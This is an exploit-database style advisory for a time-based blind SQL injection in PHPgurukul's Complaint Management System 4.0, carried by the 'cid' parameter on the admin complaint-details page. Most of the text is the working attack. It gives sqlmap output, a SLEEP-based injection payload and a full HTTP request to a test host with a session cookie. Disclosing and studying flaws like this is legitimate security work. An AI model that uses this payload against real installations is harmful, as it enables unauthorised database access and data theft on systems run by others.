# Exploit Title: Complaint Management System 4.0 - 'cid' SQL injection # Google Dork: N/A # Date: 2020-01-03 # Exploit Author: FULLSHADE # Vendor Homepage: https://phpgurukul.com # Software Link: https://phpgurukul.com/complaint-management-sytem/ # Version: v4.0 # Tested on: Windows 7 # CVE : N/A Description: The Complaint Management System v4.0 application from PHPgurukul is vulnerable to blind SQL injection via the 'cid' parameter which is found on the complaint-details.php page. ========== 1. SQLi ========== SQLMAP POC: GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 1748 HTTP(s) requests: --- Parameter: cid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: cid=2'+(SELECT 0x7648556f WHERE 4476=4476 AND SLEEP(5))+' --- The ?cid parameter is vulnerable to sql injection within the the vulnerable URL = https://10.0.0.214/complaint%20management%20system/cms/admin/complaint-details.php?cid=2 request: GET /complaint%20management%20system/cms/admin/complaint-details.php?cid=2 HTTP/1.1 Host: 10.0.0.214 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: PHPSESSID=5bmri9rlp1jvrjkhgumn7v9fot Upgrade-Insecure-Requests: 1